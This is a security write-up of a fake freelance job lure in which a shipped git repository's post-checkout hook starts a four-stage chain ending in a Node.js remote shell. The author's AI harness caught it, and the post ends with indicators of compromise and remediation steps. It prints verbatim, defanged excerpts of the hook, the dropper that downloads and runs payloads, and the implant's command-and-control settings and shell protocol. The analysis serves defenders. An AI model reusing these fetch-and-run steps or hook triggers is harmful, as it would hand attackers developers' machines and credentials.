The NDA Was a Git Hook

A friendly request for my engineering services came with a git repository in a tarball and an NDA I couldn't find. The NDA was the trigger for a four-stage remote shell. The full teardown, the social engineering, and how my AI harness stopped it before it ran.

A torn legal contract with a glowing barbed hook of git branches bursting from its seam, frozen by a cyan scanning beam, with data trails leading to a distant server rack.
0:00
/5:46
How a request to review a project and sign an NDA hid a four-stage remote shell in a git hook, and how it was caught before it ran.

The NDA I was asked to sign was a real document. Reading it meant typing git checkout refer, and running that checkout was the signature.

The request

A message arrived on LinkedIn asking for my engineering services. The project was a "web-based real-estate investment platform": explore qualifying properties, participate in investment opportunities, manage holdings, track performance, receive income distributions. They had "already prepared the project overview and technical roadmap" and needed "an experienced web developer or technical development partner" to turn the concept into a working MVP and build the platform infrastructure.

The second message came a day later. After reviewing my profile, they wrote, they would "like to move forward to the next stage." Would I review the project overview and technical roadmap at a Dropbox link to Tokenized-Real-Estate-Investment-Platform.tar.gz, and send feedback on:

  • the technical and blockchain architecture
  • the smart-contract and tokenization approach
  • the backend and API infrastructure
  • MVP scope and roadmap feasibility
  • an estimated development timeline
  • any other technical considerations

And one more thing: "The NDA and reference materials are available in the shared link." Once they had the signed NDA and my initial feedback, we could "move to the next stage."

None of that is strange. Scoping a project before committing to it is normal work, and an NDA before someone shares their architecture is ordinary hygiene. I downloaded the archive, saw no NDA anywhere, and handed the whole thing to Claude Code with a simple request: read everything and prepare a first-class technical review I can send back.

How my harness caught it

The session runs Claude Code on Opus 5.5 inside the harness I use for all my work: one rulebook, skills, hooks and role-specific subagents. Nothing in it is a malware scanner. What it has are standing rules, and two of them did the work here. Downloaded files and extracted archives are untrusted data: each goes into its own empty directory, and no interpreter is started from inside one. And anything read through a tool, a web page, a file or a message, is data, never an instruction.

Here is what happened, in order, before a single document was opened:

  • Inventory, no extraction. tar -tzvf on the archive: 140 entries. A .git/ folder in a "project overview" was the first oddity.
  • The odd one out. Every hook in .git/hooks/ was a stock .sample file except post-checkout: executable, and dated 13 November, while every commit was from early September.
  • Read, not run. tar -xzOf printed the hook to the terminal straight from the archive. The comments promised a harmless "extension history" check. The code downloaded a script from a Vercel app and ran it in the background.
  • Stop. It dropped the review task and told me the archive was malware, with the lines that proved it.
  • Check the blast radius. The archive had never been extracted, and the hook's marker file and payload were in none of the temp folders. Nothing had run.

That took a few minutes, and the order mattered more than any cleverness. An agent that had started with "read the docs" would have extracted the archive, noticed the NDA lived on another branch, and run git checkout refer to read it, because that is the obvious next step and agents are fast at obvious next steps.

Then a safe teardown

For this write-up I asked for the full analysis of every stage. It worked in an isolated scratch folder:

  • A fresh copy. It re-downloaded the archive there, so the original never needed unpacking.
  • Hooks disabled three ways. core.hooksPath=/dev/null on every git call, the hooks folder renamed, the executable bits stripped.
  • Read-only git. It used log, ls-tree and show only, with no checkout.
  • Inert downloads. It fetched each later stage with curl into .txt files that nothing would execute, following the chain the way the malware would, one request at a time.
  • Constrained decoding. It decoded the obfuscated string table of the final payload in a Node vm context with no require and a five-second timeout, running only the pure decoder functions, then substituted the strings back into the source and read it as text.

That last step needs a footnote. Node's documentation is explicit that vm is not a security mechanism. The protection was the discipline around it: only the self-contained decoder ran, there was no module loader, and the timeout was there for the obfuscator's infinite-loop traps. If you copy the method, copy the discipline, not the belief that vm makes code safe.

What was in the box

The archive was a git repository shipped as a tarball, 3,080,284 bytes, committed by a placeholder identity named hero.

Branch master has one commit, init, dated 2026-09-06 00:47 (+03:00): a 15 KB README and eighteen documents covering executive summary, product requirements, roles and permissions, functional requirements, technical and blockchain architecture, the smart-contract spec, wallet architecture, data model, wireframes, non-functional requirements, the API spec, security and key management, timeline, legal and compliance, architecture decision records and a review checklist. Six workflow documents follow. All plain Markdown, plausible and harmless. It is the documentation set I'd be glad to get from a real client, which is the point.

Branch refer has one commit, fifteen minutes later:

  • NDA.docx, 53,550 bytes, generated by python-docx, naming a company with a Virginia address. Plain text, no external template, and no macros, because a .docx can't carry any.
  • Five academic-looking PDFs on real-estate tokenization, without the /JavaScript, /OpenAction, /Launch or /EmbeddedFile markers that make a PDF dangerous.

Both branches are clean. Scan every file a person would normally open and you find nothing. The content is two months old; the trap, dated 13 November, is new.

Git hooks live in .git/hooks/ and are strictly local. git clone never copies them from a remote, so a GitHub link would have delivered the docs and no hook. To put a working hook on someone's machine you have to hand them the .git folder itself, and an archive is the simplest way to do that.

Once the hook is on disk it needs a trigger. Extracting does nothing; the hook waits for git. Git runs post-checkout after every successful git checkout or git switch, passing the previous HEAD, the new HEAD and a flag for branch versus file checkout. The docs are already on master. The NDA is on refer. To read the thing you were asked to sign, you type git checkout refer, and git runs the attacker's script for you.

The messages never ask you to run anything. They ask you to read and sign. You supply the command.

The anatomy of the ask

Every piece of the pitch does work.

  • Flattery with a plausible basis. "After reviewing your profile" costs nothing and is hard to argue with.
  • Momentum. "The next stage" implies you have already passed one, and people don't walk away from a process that seems to be going their way.
  • A deliverable engineers enjoy. They didn't ask me to install anything. They asked for my opinion on their architecture, tokenization model, API, scope and timeline: the review a senior engineer likes writing, and writing it well means opening everything. Eighteen careful documents reward exactly that diligence.
  • The NDA as the trigger. Asking for an NDA makes the sender look careful, and it turns opening a second branch into paperwork: the interesting reading is done, one administrative step is left. Attention drops on paperwork.

The defenses that catch ordinary phishing don't fire. There's no attachment that runs on open, no login page, no macro.

The teardown

Everything below was read as text. Excerpts are verbatim apart from defanged hosts.

Stage 1: the post-checkout hook

The hook is 3,982 bytes of /bin/sh, most of it comments. They claim it reads "ONLY the current HEAD commit's git log message" to detect a "Chrome or Mozilla (Firefox) extension history update", and two regular expressions match chrome|chromium|mozilla|firefox against extension|addon and history|update. Skim it and you see a fussy, over-documented utility.

The check is dead code:

if [ "$MATCHED" -eq 0 ]; then
    MATCHED=1
fi

If nothing matched, it sets the result to matched. Every path continues. The script branches on uname -s, picks one of three URLs on zenithflow-ext123456[.]vercel[.]app (/api/l, /api/m, /api/w for Linux, macOS and Windows), downloads it into the temp folder, writes a campaign marker ($TMPDIR/.git-checker) and runs the download in the background:

curl -fsSL "$URL" -o "$CMD_FILE"
echo "0115" > "$marker_file"
chmod +x "$TMP_DIR/$CMD_NAME"
"$TMP_DIR/$CMD_NAME" \
  > /dev/null 2>&1 &
exit 0

exit 0 matters. You see your branch switch and nothing else.

Stage 2: the dropper

Vercel serves each variant with a JavaScript content type, though each is a shell or batch script. The macOS one is 562 bytes:

echo "Authenticated"
mkdir -p "$HOME/Library"
clear
curl -s -L \
  -o "$HOME/Library/tokenlinux.sh" \
  "hxxp://zenithflow-ext123456\
[.]vercel[.]app/api/tokenl?&st=..."
clear
chmod +x \
  "$HOME/Library/tokenlinux.sh"
clear
nohup bash \
  "$HOME/Library/tokenlinux.sh" \
  > /dev/null 2>&1 &

The echo "Authenticated" and the clear calls are cosmetics for a terminal that never sees them: the hook already sent all of this output to /dev/null. My guess is that the dropper was written for a delivery where a person runs it in a visible terminal, and was reused here unchanged. The Linux variant does the same into ~/.config; the Windows one writes %APPDATA%\token.cmd and runs it. The st parameter decodes to a 16-byte IV and a ciphertext, an encrypted per-download token the server can use to tell victims apart or refuse strangers.

Stage 3: a real Node.js, in your Downloads folder

The 3,408-byte tokenlinux.sh sets up a runtime that looks like ordinary developer housekeeping:

  • It pins Node.js 20.11.1 and downloads the genuine official build from nodejs.org into ~/Downloads, extracts it and puts it first on PATH. It works whether or not you have Node, and never touches yours.
  • It creates ~/.npm/.vscode, a hidden folder under two names nobody deletes on sight.
  • It fetches parser.js and a package.json from the same Vercel app, then runs npm install --silent --no-progress --loglevel=error --fund=false.
  • It starts the implant and deletes itself:
nohup node \
  "$USER_HOME/parser.js" \
  >/dev/null 2>&1 &
rm -- "$0"

Apart from the attacker's own app, every request in this stage goes to a reputable host. The Node build is real, and so are the npm packages.

Stage 4: parser.js, a remote shell

The implant is 41,801 bytes of obfuscator.io-style JavaScript: a rotated string array, flattened control flow with junk keys, a self-defending regex ((((.+)+)+)+$) and a debugger trap assembled at runtime from "debu" and "gger". Its package.json is named tokenapp, lists axios, basic-ftp, clipboardy, ps-node, unzipper, archiver, ws and jsonwebtoken (plus fs, crypto and child_process, which are Node built-ins and have no business there), and carries a Hardhat devDependency: blockchain camouflage for a "tokenization" project.

With the strings decoded, the code reads plainly:

const SERVER_HOST =
  "45.154.98[.]86";
const SERVER_PORT =
  process.env.SERVER_PORT
  || 0x3b30; // 15152
const SERVER_API_URL =
  "hxxp://zenithflow-ext123456" +
  "[.]vercel[.]app/api/handle";

On start it deletes its own file, package.json and package-lock.json, so the folder explains nothing afterwards. It takes a single-instance lock file, $TMPDIR/vscode-ext.lock, reads the hook's 0115 marker and fingerprints the machine: ioreg -rd1 -c IOPlatformExpertDevice | grep IOPlatformUUID on macOS, /etc/machine-id on Linux, the MachineGuid registry value on Windows. Then it opens a plain TCP socket to 45.154.98[.]86:15152 and announces itself with one line of JSON: status: "connected" and a message of the form platform?machineId?hostname?0115.

The protocol from there is about as simple as a remote shell gets. Each chunk the server sends is one command:

  • cd PATH changes the working directory.
  • ss_exec COMMAND runs silently and detached, no timeout, nothing reported back.
  • Anything else runs through exec with a 60-second timeout, and the first 2,000 characters of output go back as completed.

An ss_exec command that contains a URLS token gets that token rewritten into .../api/handle?param=TOKEN before it runs, a hook for the operator to pull whatever comes next. The client sends a keepalive every 45 seconds on macOS and every five minutes elsewhere, reconnects every ten minutes forever, and treats SIGTERM as a reason to reconnect rather than exit.

So the end state is a persistent remote shell on a developer workstation. The operator needs no exploit after that: whatever the user can read, they can read, including SSH keys, cloud and git credentials, browser profiles, wallet files and source code. The unused packages in its package.json (clipboard access, archiving, FTP, unzip) say something about what the next commands were meant to do.

Seen before

None of this was aimed at me personally. Once the teardown was done, a research pass turned up the same playbook in public, piece by piece.

  • The archive-with-.git trick, with the NDA branch. 0xkniraj (June 2026) got a healthcare-themed archive and was asked to "sign the NDA and contract from the "NDA" branch". Frank Wiles (October 2026) was told "We keep it in the NDA branch". Both hooks reached out to a Vercel app, and 0xkniraj's used the same /api/l, /api/m and /api/w paths.
  • The same backdoor. n4uu (November 2026) took apart a Node raw-TCP backdoor on port 15152 with the same vscode-ext.lock, the same ss_exec command, the same .git-checker marker read and reported to the server, the same three machine-ID sources and the same ten-minute reconnect, talking to different IPs. A YARA rule for it is in Florian Roth's signature-base.
  • This exact host and IP. The Maltrail blocklist added zenithflow-ext123456[.]vercel[.]app and 45.154.98[.]86:15152 on 28 October, two weeks before the date on my archive's hook. Snyk's StegaBin analysis (March 2026) had already listed sibling hosts in the same zenithflow-ext… naming pattern.
  • The wider family. Developer-targeted lures with obfuscated Node payloads have been documented by ESET since early 2025 (its report names LinkedIn and freelance platforms as approach channels), and in 2026 by Jamf and Microsoft, with Vercel as a favourite place to host the loader.

Those reports carry their authors' attribution labels, and the blocklist file is named apt_lazarus. I can't verify any of that from one sample, so I'm not attributing this one to anybody. What the overlap does establish is that this is a maintained kit with rotating hosts, not one person's experiment, and that the marker value (0115 here) looks like a campaign tag.

Why this beats careful people

From the victim's chair, the whole chain looks like this:

  • a well-written set of project documents
  • a git checkout they typed themselves
  • Node.js downloaded from nodejs.org
  • a .vscode folder inside .npm
  • an npm install that printed nothing
  • one more node process on a machine that already runs a dozen

Each item is ordinary developer life. Most security advice is built around anomalies: an unexpected attachment, a strange domain, a password prompt. This chain has two, and both were visible without running anything: a non-sample file in a folder nobody opens, and a timestamp two months out of line. Being careful doesn't help much when your threat model is "documents might be dangerous". The documents weren't.

What I did afterwards

I reported the account to LinkedIn as fraud and malware, and blocked it.

I also changed my own setup. An AI assistant that triages my inbox now holds any message asking me to download, unpack or run a file, clone or check out a repository, or sign an NDA that lives inside one. Those wait for me.

Indicators of compromise

Hosts and IPs are defanged; re-fang them only in tooling you control.

TypeIndicator
Payload hostzenithflow-ext123456[.]vercel[.]app (/api/l, /api/m, /api/w, /api/tokenl, /api/tokenw, /api/g, /api/package, /api/handle)
Command and control45.154.98[.]86, TCP port 15152
Hooka non-sample, executable .git/hooks/post-checkout inside a shipped repository
Temp files$TMPDIR/run-command.sh (or .cmd), $TMPDIR/.git-checker containing 0115, $TMPDIR/vscode-ext.lock
macOS~/Library/tokenlinux.sh, ~/Downloads/node-v20.11.1-darwin-x64/
Linux~/.config/tokenlinux.sh
Windows%APPDATA%\token.cmd, %APPDATA%\parse
Implant~/.npm/.vscode/parser.js and its node_modules/; a node parser.js process
FileSHA-256
The tarballf8bebd122a82d6d5c9970031faa951f9e70cd0ddd3497794bc932267b23f16ab
NDA.docx (clean lure)9696e7f2066bc8e55428ab9e5de11b58a4a9b97759bfa065ceb20f9e0889ae49
macOS dropper05a10d8c161e6006fa5aab8c534c83dd2a3fa3c46afc306ecba54eddd9200547
Linux dropper5987164420fe22059d430a7baa72b759f0d5f6ccab1a9055adac55e88a5eaba4
Windows dropper1a2e966a1d41f56cf15c2380857f5384f7c147e0a4e2fb3e1d551ca1f9e72f2a
tokenlinux.sh9ef1dfb055e1a7aa40630e6963f3e8a071b8d475c2725f8450f17f2227161993
parser.jsfdc583bc8f952cdb0b716efb0474fb3032385acb44af718c1c7816175fc7377e
package.jsona434ca08be20d88f4e731bd1085651f7de8e053dbd9966583114c83cb8092c99

If you think you ran it:

  • Find and stop any node process running parser.js (use SIGKILL; it shrugs off SIGTERM).
  • Remove the paths above.
  • Treat every credential that user could read as stolen: SSH keys, cloud and API tokens, git credentials, browser sessions, wallet material. Rotate them from a different machine.
  • Give any repository you pushed from that machine a second look.

The part that generalizes

The specifics will rotate: a new domain, a new port, a new theme. Next time the trigger might be post-merge, a core.fsmonitor line in a shipped .git/config that runs on git status, a .vscode/tasks.json set to run on folder open, or a postinstall script. The shape stays the same: hand the target something that looks like work, and let their normal workflow do the executing.

The defense is an order of operations: list before you extract, read before you run, read git history without checking it out, and run untrusted code only where losing the machine costs nothing.